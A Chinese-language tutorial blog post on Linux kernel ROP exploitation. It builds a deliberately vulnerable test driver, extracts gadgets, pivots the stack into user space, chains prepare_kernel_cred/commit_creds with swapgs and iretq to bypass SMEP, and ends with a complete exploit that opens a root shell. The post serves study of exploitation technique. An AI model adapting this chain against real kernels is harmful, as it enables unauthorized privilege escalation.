这篇博客是对Linux Kernel ROP - Ropping your way to # (Part 1)和Linux Kernel ROP - Ropping your way to # (Part 2)的学习总结
1. Kernel ROP
在内核漏洞利用中一般会涉及到提权,最经典的就是通过ret2user攻击执行用户空间的如下代码来实现
void __attribute__((regparm(3))) payload() {
commit_creds(prepare_kernel_cred(0);
}
随着漏洞利用缓解技术的发展,Intel CPU新增了类似用户层的DEP防御措施SMEP,这可以使在内核层不能执行用户空间的代码而只能执行内核空间的代码,跟绕过DEP类似可以使用Kernel ROP来绕过SMEP。例如在x86_64架构下可以使用如下ROP链来进行提权
2. 测试环境
$ uname -a
Linux bird-pc 4.4.0-38-generic #57~14.04.1-Ubuntu SMP Tue Sep 6 17:20:43 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
3. 获取gadgets
首先用extract-vmlinux脚本抽取出未经压缩的内核
$ sudo ./extract-vmlinux /boot/vmlinuz-4.4.0-38-generic > vmlinux
然后用ROPgadget搜索需要的gadget
$ ROPgadget --binary vmlinux > ropgadget
$ grep ': pop rdi ; ret' ropgadget
0xffffffff810598fd : pop rdi ; ret
$ grep ': pop rdx ; ret' ropgadget
0xffffffff811dd5b0 : pop rdx ; ret
$ grep ': mov rdi, rax ; call rdx' ropgadget
0xffffffff810152bf : mov rdi, rax ; call rdx
另外再获取prepare_kernel_cred
和commit_creds
的地址
$ sudo cat /proc/kallsyms | grep 'prepare_kernel_cred'
ffffffff8109db00 T prepare_kernel_cred
$ sudo cat /proc/kallsyms | grep 'commit_creds'
ffffffff8109d820 T commit_creds
得到这些地址后就可以通过如下ROP链来进行提权
0xffffffff810598fd # pop rdi ; ret
NULL
0xffffffff8109db00 # prepare_kernel_cred()
0xffffffff811dd5b0 # pop rdx ; ret
0xffffffff8109d820 # commit_creds()
0xffffffff810152bf # mov rdi, rax ; call rdx
4. 开发一个含有漏洞的驱动程序
struct drv_req {
unsigned long offset;
};
...
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
struct drv_req *req;
void (*fn)(void);
switch(cmd) {
case 0:
req = (struct drv_req *)args;
printk(KERN_INFO "size = %lx\n", req->offset);
printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
fn = &ops[req->offset];
fn();
break;
default:
break;
}
return 0;
}
通过改变offset可以执行任意地址处的指令,编译代码并加载此内核模块,通过dmesg命令查看输出得到ops
的地址
$ make && sudo insmod ./drv.ko
$ dmesg | tail
[31065.804570] addr(ops) = ffffffffc06d1480
修改权限让普通用户可以访问此驱动
$ sudo chmod a+r /dev/vulndrv
之后就可以通过如下代码交互
#define DEVICE_PATH "/dev/vulndrv"
...
int main(int argc, char **argv) {
int fd;
struct drv_req req;
req.offset = atoll(argv[1]);
fd = open(DEVICE_PATH, O_RDONLY);
if (fd == -1) {
perror("open");
}
ioctl(fd, 0, &req);
return 0;
}
5. Exploit
由于在用户空间上设置ROP链更加方便,因此先把栈迁移到用户空间,一般栈迁移常用如下gadget
mov %rsp, %rXx ; ret
add %rsp, ...; ret
xchg %rXx, %rsp ; ret
由于执行fn()
时最后的指令是call rax
,因此这里使用xchg eax, esp ; ret
来进行栈迁移,用如下脚本来获取适当的offset
#!/usr/bin/env python
import sys
base_addr = int(sys.argv[1], 16)
f = open(sys.argv[2], 'r') # gadgets
for line in f.readlines():
target_str, gadget = line.split(':')
target_addr = int(target_str, 16)
# check alignment
if target_addr % 8 != 0:
continue
offset = (target_addr - base_addr) / 8
print 'offset =', (1 << 64) + offset
print 'gadget =', gadget.strip()
print 'stack addr = %x' % (target_addr & 0xffffffff)
break
$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets
$ python kernel_rop/find_offset.py 0xffffffffc06d1480 ./gadgets
offset = 18446744073577504571
gadget = xchg eax, esp ; ret 0x141
stack addr = 81760e58
然后就可以通过如下payload来进行提权
unsigned long *fake_stack;
mmap_addr = stack_addr & 0xfffff000;
assert((mapped = mmap((void*)mmap_addr, 0x2000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)mmap_addr);
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */
fake_stack = (unsigned long *)(stack_addr + 0x141 + 8);
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */
*fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */
*fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions,不破坏栈布局
*fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */
提权成功后在64位下可以通过iretq
指令从内核空间返回到用户空间来执行用户层的代码,另外执行iretq
指令时需要有如下的栈布局
可以通过如下代码先保存用户层的CS
、EFLAGS
和SS
寄存器
unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
然后搜索iretq
gadget
$ objdump -j .text -d vmlinux | grep iretq | head -1
ffffffff817fae97: 48 cf iretq
在64位下执行iretq
指令前还需要执行swapgs
指令置换GS
寄存器和KernelGSbase MSR
寄存器的内容
$ objdump -j .text -d vmlinux | grep swapgs -A 20
ffffffff810613e4: 0f 01 f8 swapgs
ffffffff810613e7: 5d pop %rbp
ffffffff810613e8: c3 retq
完整的ROP链如下
save_state();
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */
fake_stack = (unsigned long *)(stack_addr + 0x141 + 8);
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */
*fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */
*fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions,不破坏栈布局
*fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */
*fake_stack ++= 0xffffffff810613e4UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff817fae97UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
最后编译EXP执行获得root权限的shell
$ gcc rop_exploit.c -O2 -o rop_exploit
$ ./rop_exploit 18446744073577504571 ffffffffc06d1480
array base address = 0xffffffffc06d1480
stack address = 0x81760e58
# id
uid=0(root) gid=0(root) 组=0(root)
6. 完整EXP
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
if(!getuid())
system("/bin/sh");
exit(0);
}
void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}
int main(int argc, char *argv[])
{
int fd;
struct drv_req req;
void *mapped, *temp_stack;
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
if (argc != 3) {
usage(argv[0]);
return -1;
}
req.offset = strtoul(argv[1], NULL, 10);
base_addr = strtoul(argv[2], NULL, 16);
printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
mmap_addr = stack_addr & 0xffff0000;
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
save_state();
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */
fake_stack = (unsigned long *)(stack_addr + 0x141 + 8);
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */
*fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */
//*fake_stack ++= 0xffffffff8109d820UL; /* commit_creds() */
*fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions
*fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */
*fake_stack ++= 0xffffffff810613e4UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff817fae97UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
fd = open(DEVICE_PATH, O_RDONLY);
if (fd == -1) {
perror("open");
}
ioctl(fd, 0, &req);
return 0;
}